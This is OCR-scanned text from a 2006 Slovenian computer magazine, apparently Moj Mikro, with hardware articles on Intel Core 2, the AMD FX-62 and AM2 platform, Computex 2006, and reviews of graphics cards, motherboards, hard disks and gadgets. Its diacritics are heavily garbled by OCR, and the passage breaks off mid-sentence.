lana grafi¢na vezja, kjer je v namiznem svetu v
ospredju Intel (po pogostosti, ne hitrosti).

Monitor

Najvegji napredek pri LCD-monitorjih je v
2006 naredila cena, saj so 19-pal¢ni monitorji
na prodaj pod 70 tiso¢aki, 17-pal¢ne razli¢ice pa
najdemo %e za dobrih 40. Hkrati so se na trgu po-
javili tudi cenovno dosegljivi 20-paléni monitor-
ji, katerih prednost je nedvomno visja lo¢ljivost
(1600 x 1200). Ob nakupu novega minotorja, ki
ga nameravate uporabljati ve& let bodite pozorni
na podporo za HDCP (High Bandwidth Digital
Copy Protection), saj monitor sicer ne bo zmozen
predvajanja za¢itenih medijskih vsebin, ki jih
bodo proti koncu leta prinesli Blu-ray, HD DVD
in Windows Vista ... Sama hitrost osveZevanja
matrike prakti¢no ni ve¢ pomembna, tudi vidni
kot se je vetinoma Ze pribli¥al sprejemljivim me-
jam, poskus osvetlitve matrike z LED-diodami pa
je %al ostal le pri dragih prototipih ...

PRENOSNIKI

Mati¢ne plosée in vezni nabori

ATI in nVidia sta zavoljo integriranih mo¢-
nejsih grafi¢nih vezij zagotovo najboljsa izbi-
ra, ki bo omogocala tudi grafi¢no zahtevnejse
aplikacije in nadgradnjo na Windows Visto.

Pomnilnik

Pomnilnik DDR 2 je energijsko u¢inkovite;j-
$i od DDR-3, zato je tudi zavoljo dalj$e avto-
nomije bolj$a izbira za prenosnike.

Shranjevanje

Vsi proizvajalci so za konec leta napovedali
prve hibridne diske (HHD), sestavljene iz me-
hani¢nega dela in bliskovnega (flash) pomnil-
nika, in prav ti diski bo zahteval v prenosnih
rac¢unalnikih tudi s Windows Vista (certifikat
Premium). Sicer pa so se tudi v prenosnikih
%e pojavili RAID-konfiguracije dveh diskov, ki
se medsebojno varujeta pred izgubo podatkov,
Seagate pa je s perpendikularno tehnologijo Ze
ponudil disk velikosti 160 GB tudi v velikosti

za prenosnike.

Zasloni

Prenosniki, deklarirani kot nadomestek na-
miznih rac¢unalnikov, so e pokazali tudi diago-
nale zaslona 17 palcev. Ve&ina novih zaslonov
je zavoljo vegjega kontrasta prevletena z bles-
&elo, zelo odbojno prevleko, v kateri vidite
vso okolico. Preverite, ali vam je stvar vsec,
in si morebiti raje izberite stari dobri matiran
zaslon. W

RAZMISLJATE O NAKUPU NOVEGA PRENOSNIKA?

BOSTE POSTAVILI WI-FI OMREZJE?
ZASCITITE SVOJO INVESTICIJO IN ZASEBNOST!
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Ureja: JAKA MELE | jaka. mele@mojmikro.si

Intel
Core 2
zaznamuje poletje?

V dnevih, ko odStevamo do Intelovega verjet-

no najvecjega produktnega vzleta po mobilni
platformi Centrino pred tremi leti, je zanimivo
slisati, kam se Intel usmerja pri snovanju svoje
naslednje arhitekture, ki naj bi Core 2 nadome-
stila ne prej kot v treh letih.

Core 2 bo uradno predstavljen 23. julija, Ze kak
teden prej pa se bo dalo nove procesorje tudi
kupiti, saj Intel kopici zaloge Ze nekaj casa in
primanjkovanja nove ponudbe na trgu skoraj ne
bi smelo biti.

V vecini pogledov je Core 2 odlicna arhitektura,
saj v prvih testih, ki smo jih sicer opravili z
Intelovimi vnaprej pripraviljenimi racunalniki
(tako da te rezultate jemljemo z malce rezerve),
niti ne njihov najhitrejsi procesor Conroe gladko
premaga AMD-jevega FX-60, po naSem pred
nekaj dnevi opravljenem testiranju FX-62 pa
lahko potrdimo, da mu preglavic ne bo delal niti
najnovejsi AMD, temelje¢ na platformi AM2,
podkrepljen s pomnilnikom DDR2. Edina Sibka
tocka procesorja Core 2 je pomnilniSka prepust-
nost, a vprasanje je, koliko se bo to poznalo pri
vsakodnevni rabi.

Tako lahko brez zadrZkov zapiSemo, da si je Intel
priboril vsaj Sest mesecev zmagoslavja, po tem
pa glede na AMD-jevo zgodovino, kjer Intelu
nikoli niso ostali dolzni predolgo, Ze pricakujemo
osveZitev AMD-jeve ponudbe in obelodanjenje
kaksnega novega jedra tudi na strani zelenih.

Pa vendarle smo v junijski vrocini iz ust enega
vodilnih Intelovih inZenirjev za strezniske izdelke
izvedeli, da bo Intel v naslednjo generacijo

svoje mikroarhitekture najverjetneje vdelal tuali
pomnilniski krmilnik in, presenetljivo, tudi
graficni procesor. Govorice o podobnem pristopu
S0 na Intelovi strani zamrle skupaj s projektom
Timna — skoraj pred Sestimi leti (ta naj bi poleg
Jjedra Pentium Il imel Se pomnilniski krmilnik in
graficni procesor).

Intel je odkrito priznal, da bi vdelan pomnilniski
krmilnik pripomogel k manjsim zakasnitvam pri
dostopih do pomnilnika in tudi odstranil potrebo
po pomnilniskem razdelilniku (hub), kar bi spro-
stilo nekaj prostora v samem Cipu. Pa vendarle
Intel tega ne namerava v svoje izdelke vnesti Se
vsaj dve leti. Razloga sta prevelik procesor, ki bi
bil tudi energijsko manj ucinkovit, in omejena
fleksibilnost pri delu z razlicnimi pomnilniki.
AMD ima tak pristop Ze zadnja tri leta, na strani
Intela pa se prvih govoric o tem spomnim $e iz
leta 2000 — torej prej.

Vse kaze, da bo Intel prej ali slej pomnilniski
krmilnik in verjetno tudi graficni procesor

vdelal v svoje procesorje, ugibam pa da bodo ti
namenjeni predvsem cenovno najugodnejsim
racunalnikom, namenjenim razvijajocemu se trgu
v Afriki in Azifi.

AMD FX-62 in platforma AM2

n u BV E
Najhitrejsi,
Docakali smo AMD-jev prvenec na

platformi AM2, novi najmocnejsi
procesor — FX-62.

Pise: Jaka Mele

jaka.mele@mojmikrosi

latforma AM2, o kateri se je vse
vedelo Ye mesece, prinasa pred-
vsem podporo pomnilniku DDR
2, z novo razporeditvijo kontaktov
(tokrat 940) pa primernej$o platformo za
prihajajoce ve¢jedre procesorje. FX-62 je
izdelan z 90 nm tehnologijo, vsako izmed

dveh jeder pa ima 1 MB predpomnilnika L2.
Jedri utripata pri 2,8 GHz, procesor pa sestavlja
272 milijonov tranzistorjev. Procesor vsebuje

pomnilniski krmilnik, ki podpira DDR 2-667

(PC2-5300) in DDR 2-800 (PC2-6400).

Procesor smo preizkusili na mati¢ni plos¢i
ASUS M2N32-SLI, s pomnilnikom Corsa-
ir XMS2 DDR 2-1066. Testi 3Dmark2006 in
PCmark2005 so pokazali, da sam prehod s pod-
no%ja Socket 939 na AM2 $e ne prinasa veéjih
pohitritev, zato je marsikateri AMD-jev entu-
ziast dozivel veliko razoCaranje. Ugotovili smo
da AM2 v AMD-jev svet ni prinesel ¢ude?a,
saj pohitritve niso velike oziroma jih na pri-
merljivih procesorjih ni. Podobno je bilo tudi
pri Intelovem prehodu na DDR 2. Ne razumite
narobe — v ¢asu pisanja je FX-62 AM2 najhi-
trej$i procesor na svetu, vendar bo e v &asu
vaSega poletnega branja verjetno drugace ..

Tabela 1: Rezultat testa PCMark 2005

a he cudezen
A

CPU | cache | Mainboard | Memory | SPD | About |

Name | AMD Opteron 170 (UP) HE EE
CodeName | Dermark
Package | Socket340

Technology [ 90nm an,aga[- 1392v

Specification | AMD Athlon(im) 84 FX-62 Dual Core Processor
Famly | F Model | 3 Stepping | 2
Bd.Famlty | F  Ed.Model | 43  Revision | JHO.ES

Instructions | MMX (+), 3DNow! (+), SSE, SSE2, SSE3, x86-64

—Clocks

~Cache
Core Speed | 28130 MHz L1Dala | G4KBytes
Muliplier X140 L1Code | G4KBytes
HTT 200.9 MHz Level2 | 1024 KBytes
Bus Speed | Level3 |
Processor Selsction ~| APCID | D ‘
. Wersion 1.32
CPU-Z

Test PCMark2005 | 3DMark2006-CPU

povsod, iz dneva v dan je tudi ve&ja ponudba

mati¢nih plos¢. NVidia je za platformo AM2
pripravila celotno dru¥ino nForce 5, od naj-

Intel 955 EE 5990 1922
Intel 965 EE 6503 2101
AMD FX-60 6140 2037
AMD FX-62 AM2 | 6458 2156

ni%jih modelov 550 do najvisjega 590 SLI, $e

AMD:-jev premik s pomnilnika DDR na
DDR 2 je izredno pozitiven, saj se je kon&no
zalelo opustanje DDR-a v prid nasledniku, kar
bo pomenilo tudi vedje zahteve po DDR 2 in s
tem po nacelu ekonomije obsega ni¥anje cene.
Procesor je mo¢ tudi lepo naviti, stabilno nam
je deloval pri hitrosti 3 GHz in to samo z zrag-

nim hlajenjem!

Ceprav so nekateri proizvajalci mati¢nih
plos¢ Ye zalel testirati §tirijedrnik Intel Kents-
field (quad core), ki bo priSel na trg v zacetku
2007, pa se prav od AMD-ja z AM2 na podro-
&ju stirih jeder obeta ponoven preobrat glede
zmogljivosti. AMD-jeva arhitektura je namre&
veliko bolj uravnote?ena glede pomnilniskih
dostopov in prenosov med jedri, medtem ko
Intelova za vsako jedro po podatke hodi iz pro-
cesorja. Tako v prispodobi povedano AMD-
jeva jedra pri delu sodelujejo, Intelova pa ne

vedo druga za drugo.

nekaj dolarjev niZe pa bo na voljo osveZena se-
rija naborov nForce 4 Ultra. Ti bodo nasli pot
predvsem v cenovno najniZje sisteme, ki bodo
konkurirali ponudbam podjetij VIA, ULI, SIS
in drugih. Tudi ATI je ¥e oznanil podporo svo-
jih naborov za AM2, &eprav bolj zadrano, kot
to po¢ne nVidia. ATI bo tako ponudil Xpres-
s300, ki je pravzaprav Xpress200 v preobleki
in z integrirano grafiko X300. Vrhunec ponud-
be pa bosta Xpress3200 in juzni most SB600,
prve plod¢e naj bi pri3le na trg avgusta.

Cena novega FX-62 je 1030 USD. Kaj bo
naredil AMD ¢ez nekaj mesecev, ko Intel spla-
vi Conroe, ki bo prekasal vse, kar ima AMD,
$e ni jasno, vse pogosteje pa je sliSati govorice
o nakupu podjetja AT1. ATI ima namre¢ od-
li¢ne povezave z Intelom, medtem ko je imel
AMD zelo blizu nVidio. Se tige se je susljalo o
tem, da nVidia in Intel %e razpravljata o bolj-
$em sodelovanju, ¢e se AMD res odlo¢i za ta

korak ...

Procesorje AM2 lahko Ze kupimo prakti¢no |
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Zrelo PC-jevo obdobje

V Taipeju se je v zaCetku junija zgodil vsakoletni Computex, najvecja sejemska
prireditev na azijski celini. Med poSevnookimi gostitelji je bilo letos nasteti manj
mednarodne udelezbe kot pretekla leta, na sejmu pa so previadovale modre,
zelene in rdece barve - Intel, AMD in ATl na vsakem koraku..

Pise: Jaka Mele
jaka.mele@mojmikrosi

oleg uradne pri¢akovane

AMD:-jeve predstavitve

platforme AM2, ki je

tudi trenutno aktual-
ni Socket 939 predstavil pred
tremi leti na isti prireditvi,
je bilo res velikih objav bore
malo. AMD je veliko prahu
dvignil tudi s predstavitvijo
svojega novega dvojedrnega procesorja za mo-
bilni trg — Turion 64 X2. Med najzanimive;j-
$imi trenutki je bila moZnost preizkusa novega
Intelovega procesorja Conroe X6800, ki iz-
med preizkuSenih procesorjev ta hip zavzema
zmogljivostni prestol. Intel je izkoristil prire-
ditev za uradno predstavitev svojega veznega
nabora BroadWater 1965, ki ga bomo preiz-
kusili v poletnih mesecih (prinasa podporo za
Conroe, ki ga bosta zmo?#ni tudi novi razli¢ici
i945 in i975X, zaradi sprememb v zahtevani
voltaZi pa obstojece plos¢e na vodilu LGA775
ne bodo zdruZljive z njim).

CORE NA POHODU

Do konca leta namerava Intel kar 25 %
vseh posiljk procesorjev nadomestiti s pro-
cesorji Core 2 Duo in Core 2 Extreme, stari
arhitekturi NetBurst pa bo mo¢no zni?al cene.
Znane so tudi Ye cene: Intel Core 2 Extreme
X6800 (2,93 GHz/4 M) bo na prodaj po isti
ceni kot Intel Pentium Extreme Edition 965
(3,73 GHz/2 Mx2), to je po 999 USD, medtem
ko bo Intel Core 2 Duo E6700 (2,67 GHz/4 M)
stal 530 USD, Intel Core 2 Duo E6600 (2,40
GHz/4 M) 316 USD, Intel Core 2 Duo E6400
(2,13 GHz/2 M) 224 USD in najcenejsi novi-
nec Intel Core 2 Duo E6300 (1,86 GHz/2 M)
borih 183 USD. AMD-ju utegne veliko teZav
povzroditi tudi sme$no ugodna cena najcenej-
Sega dvojedrnika Intel Pentium D 805 (2,66
GHz/1 Mx2) za borih 93 USD.

PISANA MNOZICA
MATICNIH PLOSC

Zagotovo je bilo med razstavljavci najvec
proizvajalcev mati¢nih plos¢, hladilnih ele-
mentov ter zunanjih shranjevalnih naprav in
prenosnih rac¢unalnikov. Sicer pa je sejem dal
obcutek zrelega obdobja PC-ja ter prikazoval
evolucijske spremembe predvsem glede obli-
kovanja izdelkov za ve¢jo uporabnost in eno-
stavnost...

Vsi proizvajalci matiénih plos¢ so Ze prika-

zovali delujote plosce tako za AMD M2 kot za
Intel Core 2, plos¢e so bile raznovrstnih oblik
in velikosti, zanimiv pa je bil uraden podatek,
da se je faktor velikosti ohisij BTX povzpel Ze
na 35 % celotnega trga. Vedina mati¢nih plos¢
je zavoljo specifikacij za Windows Vista Premi-
um opremljena tudi s podporo izhodu HDMI.
Vezni nabori VIA PT880 PRO, ATI Xpress3-
200, nVidia nForce590 SLI in Intelov i965 so
se bohotili na neskon&nem 3tevilu raznobarv-
nih plos¢, med katerimi pa smo spet kar po-
gosto naleteli na dodatne izhode, namenjene

B DA anmps ks

povezovanju na HD-televizorje, dvojne refe
PCIE x16 pa so bile tako reko¢ %e standardno
prisotne.

Med vsemi je vsekakor najbolj izstopal
ASUS, ki je predstavil kup dodatnih funkcij
in tehnologij, vdelanih na nove plos¢e. Tako
lahko brez#i¢ni modul deluje kot dostopna
to¢ka tudi ob ugasnjenem PC-ju, ¢e PC-ja
ne potrebujemo za aktivno delo (v ozadju pa
e vedno prenasamo datoteke P2P), ga lahko
preklopimo v tihi spe¢i nadin; videli smo pri-
lo%ene daljinske upravljalnike, avdio modul za
priklop iPoda in podobnih MP3-predvajalni-

al])
Computex 2006

kov, s katerim lahko ra¢unalnikove zvo¢nike
uporabljamo tudi ob ugasnjenem racunalniku,
ter soc¢asno preko USB-kabla polnimo prenos-
ne predvajalnike ...

GRAFICNE DOBROTE

MSI nas je prijetno presenetil s pasivno hla-
jeno grafiko NV GF 7900GT, ki ima tudi iz-
hode HDM], zdruzljive s HDCP. Tudi ATI je Ze
pokazal prve take grafike in predstava se po&asi
kon&uje. Med posebne?i je bila tudi kartica
NV GF 7600GS, ki jo je kazal Biostar, saj je
bilo na njej kar 1024 MB pomnilnika. Med
grafi¢nimi dobrotami smo kmalu zavohali
tudi namige glede naslednje generaci-
je grafik, tako ATl-ja kot nVidie. Na
razli¢nih mestih smo slifali da bosta
naslednika, oba bosta strojno podpirala
DirectX 10 (ki pride z Windows Visto in ne
bo deloval na XP-ju), ob polni obremenitvi
rabila kar med 130 in 300 W energije!!! Oba
proizvajalca se spogledujeta z vodnim hlaje-
njem saj bi bil hrup zra¢nega hlajenja prevelik.
Dobra novica je, da bo ta generacija, ki prihaja
v zaletku leta 2007 najpoZresne;jsa, saj bo na-
slednja %e sledila trendu ni¥je porabe.

VECPREDSTAVNOST
ZA DNEVNO SOBO

Skoraj vsi proizvajalci mati¢nih plos¢ pa so
kazali tudi svoje ve¢predstavne racunalnike za
dnevno sobo. Ti so po zasnovi in videzu Ze pre-
cej blize temu, kar bi si Zelel in kar bi spustil v
svojo dnevno sobo, a $e vedno se zatakne pri
ceni. Najbr? ni treba poudarjati, da se je nad
vetino bohotil ve¢barvni
logotip Intel VIIV.

Med zanimivimi novo-
stmi smo nasli e pomnil-
nitko SD-kartico ADATA
z vdelanim numeri¢nim
LCD-prikazovalnikom, na
katerem smo lahko prebra-
li, koliko MB je %e prostih.
ThermalTake pa je po-
kazal dober meter visoko
ohisje, v katerega lahko
spravimo kar dva sistema
in ducat diskov in drugih
pogonov, v zatudenje pa je
mimoido&e spravljal tudi
1200 W napajalnik.

Geil je prikazoval delu-
jote module DDR 2-1200
in prve inZenirske primerke pomnilnika DDR
3 (imajo isti razpored kontaktov kot DDR 2)
— za prodajo bodo na voljo konec tega leta. Tu
najbolj agresivno pritiska Samsung, ki ima v
svojih na&rtih e DDR 3-1333, a najverjetneje
ne pred sredino 2007...
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UL
grafiéna kartica

Club3D nVvidia
7950 GX2

ZA: Nvidia je konéno uradno
ponudila tisto, kar so nekateri vegji
partnerji (DELL, GigaByte, MSI) po-

nujali posvedenim in peti¢nim strankam -
kombinacijo dveh grafi¢nih procesorjev na
eni sami grafi¢ni kartici PCIE. Ker gre za in-
tegrirano reSitev, kjer funkcijo SLI-mosti¢ka
opravlja poseben &ip, grafika deluje na vedini
normalnih (ne SLI) mati¢nih plos¢. V velini
primerov je potrebna le nadgradnja biosa, za
celoten seznam zdruZljivosti pa obiiite stran
www.nvidia.com/GX2. Kartica 7950 GX2 je
sestavljena iz dveh vezij 7900 GTX, z dve-
ma hladilnikoma. Vse skupaj je spojeno na
eno $irfo kartico. Ker pomnilnik vsake pol-
ovice pravzaprav ostaja Ze dolgo znani 512 MB
GDDR3 na 256-bitov $irokem kanalu, tu ni
nekega napredka. NVidia ogladuje resitev kot
najhitrej$o na svetu, kar ta hip ni res, saj se
naveza dveh 7900 GTX v na¢inu SLI ali dveh
ATI X1900XT v Crossfireu izkaZe za mo&nejso.
Vendar pa se bo stanje zagotovo spremenilo z
moznostjo quad SLI, ko bodo v naSem racu-
nalu utripala $tiri grafi¢na jedra. Ena najvec-
jih prednosti nove kartice 7950 GX2 je polna
podpora HDCP-ju, kar pomeni, da bo kartica
popolnoma primerna tudi za Windows Vista,
ter novim predvajalnikom bluetooth in HD-
DVD. K temu pripomore tudi v celoti strojno
odkodiranje H.264. Dvojni DVI-izhod omogo-
&a lo¢ljivosti nad 1920 x 1200 (na tej kartici
pa je tudi dovolj procesne modi za kaj takega).
Club 3D v paketu prilaga $e nekaj iger (Collin

[ITTTTITTH
Razmerje cena/kakovost:

Informacije: 1ZID, d.o.0., Ljubljana

Spletni naslov: www.club-3d.com

Cena: 161.170 SIT (672,57 EUR)

Graficni procesor: G71

Pomnilnik: 1024 MB GDDR3

Hitrost procesorja/pomnilnika: 500/600(1200) MHz
Vodilo: PCIE 16x

Dodatni prikljucki: 2x DVI, VIVO

PROTI: Tudi v casu testiranja nVidia $e ni
izdala gonilnikov, ki bi na SLI-plo§¢ah omogo-
&ile skupno delo dveh kartic 7950GX2. Tako
take reSitve ta hip delujejo samo partnerjem,
vendar naj bi do konca poletja do¢akali tudi
gonilnike, ki bodo stvar omogocile na vseh
karticah. Sama hitrost grafi¢nih procesorjev je
rahlo ni%ja kot pri samostojnih 7900GTX (500
M]Jz, namesto 650), predvsem na radun omeje-
nega hlajenja. To je podobno porazno kot pri
7900GT in pripomore h kar nekaj hrupa.

McRea Rally 2005 ...). Jaka Mele

Test NV 7950 GX2 NV 7900GTX (SLI) | ATI X1900XT (CROSSFIRE)

3D Mark 2006 (skupno, 1280x1024x32) | 7843 8897 8885

3D Mark 2006 (SM2) 3587 4208 3987

3D Mark 2006 (SM3 HDR) 3869 4147 4312
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USB-most

Smart X Copy

Razmerje cena /kakovost: HN EEEEEENEN
Informacije: Conrad Electronic (www.conrad.si)
Cena: 9390 SIT (39,18 EUR)
Vmesnik: USB 1.1 (do 400 KB/s)
Napajanje: 3 x AAA-baterije ali akumulatorji

ZA: T mala naprava nam omogoda prenos
podatkov med razli¢nimi podatkovnimi nosil-
ci s priklju¢kom USB brez uporabe ratunalni-
ka. Tuja mu ni vecina digitalnih fotoaparatov,
USB-trdih diskov, pomnilnigkih USB-kljuc-
kov ... Med testom dejansko nismo nagli na-
prave, s katero se Smart X Copy ne bi znal spo-
razumeti. Omogoa nam izbiro vrste datotek,
ki jih %elimo prenesti (MP3, JPG, DOC, AVI)
lahko pa se odlo¢imo za prenos celotne vsebine
medija. Napajajo ga tri AAA-baterije oziroma
akumulatorji, kar omogo¢a tudi delo na tere-
nu. Mali pomo¢nik ima vdelano tudi zas&ito
proti prepisovanju datotek z istim imenom, te-
¥avo resi s pripisom zaporedne $tevilke imenu
datoteke ali mape. Po uspe$nem prenosu po-
datkov se naprava sama izklopi in tako varéuje
z energijo. Uporaben pripomo&ek pri daljsih
dopustih, saj lahko namesto nakupa dodatnih
pomnilniskih kartic uporabimo za arhiviranje
kar obstojec¢i USB-kljuéek ali USB-prenosni
trdi disk.

PROTI: Prenos podatkov med napravami
poteka po standardu USB 1.1. Po proizvajal-
Cevih podatkih naprava omogoca prenos po-
datkov med razli¢nimi napravami do 400 KB/s,
v praksi pa smo z 256 MB pomnilniske kartice
podatke na USB-trdi disk prenagali kar 13 mi-
nut. Prenos podatkov je omejen na prvo parti-
cijo izbranega podatkovnega nosilca. Glede na
trenutne cene pomnilniskih kartic cena 9390
tolarjev morda ni ravno najprimernejsa.

Uro$ Florjancic
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maticna plosca AM2

ASUS M2N32-SLI Deluxe

ZA: Asus je predstavil eno prvih mati¢nih
plos¢, zasnovanih na novem nVidiinem naboru
nForce 590 SLI. Plos¢a je namenjena novemu
vmesniku AMD AM2. Ze na videz je ploita
impresivna, saj so hladilni elementi povezani s
toplotno cevjo in se tako medsebojno hladijo
popolnoma nesligno. Ce plos¢o navijemo, lahko
na ta hladilnik nataknemo priloZen ventilator,
ki pa za normalno delo ni potreben. Na voljo
je Sest vmesnikov SATA 3 Gb/s, za katerimi
stojita dva RAID-krmilnika, od katerih eden
primarno obvlada tudi RAID 5. Plo3¢a se lahko
pohvali z vrsto novih tehnologij, med njimi iz-
stopajo nVidia LinkBoost, Al LifeStyle, Al Nap
(ki zmanjsa delovanje na minimum tako da se
racunalnik povsem utifa). 8-fazno vezje za na-
pajanje skrbi za enakomerno napajanje, prilozen
je wi-fi modul, ki deluje kot dostopna tocka tudi
ob ugasnjenem racunalniku, plo§éa je certifici-
rana kot AMD Live! Ready. Prilo%en je $e vrstni
mikrofon array, ki zna izlogiti zvoke iz okolice in
je odli¢en za Skype v bu¢nem okolju. Podpora
SLI in dvema re¥ama PCIE x16 zagotavlja dol-
go dobo in mo#nost nadgradenj, prihodnje leto
pa naj bi plos¢a prefivela tudi Stirijedrni proce-
sor AMD AM2. Plos¢a vsebuje vsa ASUS-ova
orodja za navijanje, mo’no je spreminjanje
vseh komponent in napetosti. Tehnologija PEG
(PCI Express Graphics) Link Mode

omogota velanje grafi¢nih
zmoznosti, Al NOS pa
hipno navijanje ...

Plos¢a je delo-

vala stabilno

in hladno.
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Skupna ocena:
Informacije: Acord-92, d.o.o., Ljubljana

Spletni naslov: www.asus.com

Cena: okoli 45.000 SIT

Vezni €ip: nVidia nForce 590 SLI

Platforma in CPU: AMD Socket AM2, 1 CPU
Pomnilnik: 4 reze DDR2-800, do 8 GB

Razsiritvene reze: 3x PCI, 1x PCIE x1, 2x PCIE x16,
1x PCIE x4

Integrirane funkcije: 8x USB 2.0, 1x IEEE 1394a,
6x Serial ATA Il, 2x gigabitni omrezni adapter, osem-
kanalni zvok 7.1

PROTI: on navijanju se pojavi dilema, ali
na plo$¢o nasaditi priloZen venti-
lator. Cena plosce bo vse-
kakor glavni minus, a
ob toliko vdelanih
funkcijah  gre
$e vedno za
odli¢en na-
kup!
Jaka Mele
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daljinski upravljalnik

Logitech
Harmony 78

. |
Razmerje cenal/kakovost: | |

Informacije: 1ZID, d.o.0., Ljubljana

Spletni naslov: www.logitech.com

Cena: 61.320 SIT (255,90 EUR)

Vmesniki: USB, Ir-DA

Stevilo naprav: do 15

Moznost ucenja: da

Moznost makrov: da — Smart State Technology
Osvetlitev tipk: da

Zaslon: barvni LCD

Skupna ocena: | HEEEEEN
: INNEEEEN]

ZA: potem ko je Logitech po sejmu Cebit
poslal na trg osvefeno drufino univerzalnega
daljinskega upravljalnika 885, smo docakali %e
njegovo nadaljevanje, model 785. Ceprav gre iz
Stevilke same sklepati, da gre za model ni¥jega
razreda, temu ni tako, saj je 785 obdr?al vse na-
predne funkcije predhodnika, poleg tega pa je
dobil $e povsem prenovljen videz, ki je zaokro-
Yen z litijevo ionsko akumulatorsko baterijo
ter polnilnisko postajo. Sam daljinec je zdaj
bolj podoben klasi¢nim, saj ni ved ergonomsko
zavit, kar je poleg morda resnejlega videza (3e
vedno meSanica kakovostne temne plastike in
aluminija) prineslo e prostor za nekaj dodat-
nih gumbov. V zgornjem delu $e vedno kraljuje
barvni zaslon, ob njem so tipke, s katerimi izbi-
ramo aktivnosti, v srednjem delu so funkcijske
tipke, kot je meni, TV-vodnik, info, ter smerne
tipke za upravljanje in potrjevanje menijev. V
spodnjem delu so klasi¢ne numeri¢ne tipke. Kot
smo pri Logitechu Ze vajeni, lahko z daljincem
upravljamo do 15 naprav. Nastavljanje poteka
prek priklopa na PC, kjer nato v navezi s splet-
nimi Logitechovimi zbirkami pois¢emo svoje
naprave in njihove profile nalo?imo v daljinec.
Tudi ta upravljalnik programiramo. Oddajani
infrardeci signal je mo¢an, tako da daljinca ni
treba usmerjati neposredno proti napravam.

PROTI: cena je Se visja kot pri modelu
885. Prvi konkuren¢ni izdelki, kot je recimo
Philipsov RC9800i, omogo¢ajo nastavljanje
naprave brez priklopa v PC, ¢e je daljinec v
dosegu odprtega wi-fi omre¥ja. Vekakor so
mo?¥nosti za naprej zanimive in idej ima indu-
strija Se dovol; ...

Jaka Mele
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trdi disk
Seagate Barracuda

7200.10 750 GB

ZA: Seagate je najvedji na sve-
tu in to se pozna tudi pri njegovi
vodilni vlogi pri kapaciteti diskov.

[TTTTT]
[TTTTTI]
Informacije: ElkoTex, d.0.0., Ljubljana
Spletni naslov: www.seagate.com
Cena: 119.900 SIT (500,71 EUR)
Kapaciteta: 750 GB
Hitrost vrtenja plos¢: 7200 rpm
Povprecen dostopni ¢as: 8,5 ms
Predpomnilnik: 16 MB
Vmesnik: Serial-ATA Il (3Gb/s), NCQ

Najnovej$a  dru¥ina Baracuda,
tokrat ¥e deseta, se ponaSa s per-
pendikularno tehnologijo, s ka-
tero je Seagateu uspelo kar za 50
% povedati prej najvedji 500 GB
model. Ta hip nobeden izmed kon-
kuren&nih proizvajalcev ne ponuja
750 GB model, tako da je Seagate
posebnost. Disk z vmesnikom Se-
rial-ATA 1I se tako kot predhodni
najmocnejsi modeli ponaga s teh-
nologijo Native Command Queu-
ing (NCQ), ki — ¢e ga podpirata tako krmilnik kot tudi disk — omogoc¢a izmenjavo ve&
ukazov naenkrat. S tem dosega hitrejSe prenose podatkov, kar se bolj kot v namiznih
sistemih odrazi v strefnigkih sistemih in RAID-konfiguracijah. Seagate zdaj %e privzeto
uporablja 16 MB hitrega predpomnilnika. Disk je bil med delovanjem skoraj nesligen,
za kar se velja zahvaliti teko&inskim le¥ajem in tehnologiji SoftSonic. Povpreéni iz-
merjen dostopni ¢as 8,9 ms je v navezi s pospeSenimi prenosi dovolj tudi za manjse
stre?nike. Z dvema diskoma v RAIDO doseZemo $e blizu 30 % bolje rezultate in imamo
kar 1,5 TB prostora, kar je dovolj tudi za napredno obdelavo videa, za igri¢arje ... Disk
je ob branju podatkov le malce zaostal za trenutno vodilnem v svetu SATA — WD Rap-
torjem WD1500 z 10.000 obrati na minuto — s ¢imer je dokazal, da gre za izredno hitro
napravo! Ce preratunamo ceno na GB ter pomislimo $e na 5-letno garancijo, lahko
brez razmisljanja sklenemo, da gre za odli¢en disk.

PROTI: Seagate namerava e pred koncem leta predstaviti 1 TB disk, prav tako prve
hibridne diske z ve& sto MB vdelanega bliskovnega (flash) pomnilnika, kar bo tudi

pogoj za certifikat Windows Vista Premium — tako da je vpraSanje smiselnosti nakupa
trenutnega modela. Disk je bil med polno obremenitvijo dale¢ od hladnega.

Jaka Mele
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mobilni video HDD

Argosy HV355U

. ) .

ARGOSY

MOOKE VIDEC
HDD

[ Skupnaocena: ~~HENEEEEEEE |

Razmerje cena /kakovost: ENEEEEEEEN

Informacije: Comtron (www.comtron.si)

Cena: 43.990 SIT (183,57 EUR)

Trdi disk: 160 GB

PC-vmesnik: USB 2.0

AV-vmesnik: Kompozitni, komponentni AV, SCART,
koaksialni avdio

Mere: 196 x 58 x 126 mm

Masa: 1040 g z vdelanim trdim diskom

Podpora formatom: MPEG-1, MPEG-2, DivX , XviD, JPEG,
MP3, WAV

ZA: Argosy HV355U je na prvi pogled klasi¢no zuna-
nje ohigje za 3,5-pal&ne trde diske z vmesnikom USB 2.0.
Prvi vtis tokrat vara, saj na zadnji strani naprave opazi-
mo prikljutek SCART, ki ga spremljajo $e komponentni
in kompozitni video ter koaksialni avdio priklju¢ek. V
stojalu naprave se skriva preprost, a uéinkovit daljinski
upravljalnik. Naprava se tako iz prenosnega trdega diska
z nekaj kablovja prelevi v pravi multimedijski predvajal-
nik, zmo¥en predvajati vse, kar predvajajo priljubljeni
DivX-predvajalniki. Tako lahko v udobju dnevne sobe
ufivamo ob gledanju razli¢nih vsebin. Zaradi majhne
velikosti in teZe je naprava ved kot primerna za potova-
nja, prilofena programska oprema pa omogoca zaklepa-
nje posameznih map, ki tako v predvajalnem nacinu za
uporabnika postanejo nevidne. Naprava pozna tako da-
tote¢ni sistem NTFS kot FAT32, delovanje pa je, kot pri
drugih podobnih napravah, omejeno na prvo particijo.
Upravljanje predvajalnika je z zanimivim uporabniskim
vmesnikom nezahtevno in uporabniku prijazno, naprava
podpira tudi podnapise, za katere pa ni obvezno, da so
v isti mapi kot video datoteka. Hitri prehod med ogle-
dom videa je teko¢ in nezamuden. Posebnost naprave je
zmoznost predvajanja DVD-filmov, ki smo jih pred tem z
originalnega medija prenesli na vdelani trdi disk, ob tem
pa se ohranijo vse prednosti, ki jih DVD-filmi ponujajo.
V priloZenih navodilih je opisan tudi postopek, kako na
trdi disk shranimo vsebino zas¢itenih DVD-filmov.

PROTL: ni podpore formatoma GMC in Q-PEL, na-
prava ne pozna predvajalnih seznamov, zum pri videu
in sliki ima premalo mo¥nosti, izbiramo lahko zgolj med
privzetimi nacini, uporabnik pa pogresa poljubno vred-
nost. Naprava zaradi vdelanega ventilatorja deluje precej
hrupno. So¢asno lahko uporabljamo samo eno funkcijo,
in &e je Argosy z USB-kablom povezan s PC-jem, video
predvajalnik ne deluje. Kljub podpori razli¢nim forma-
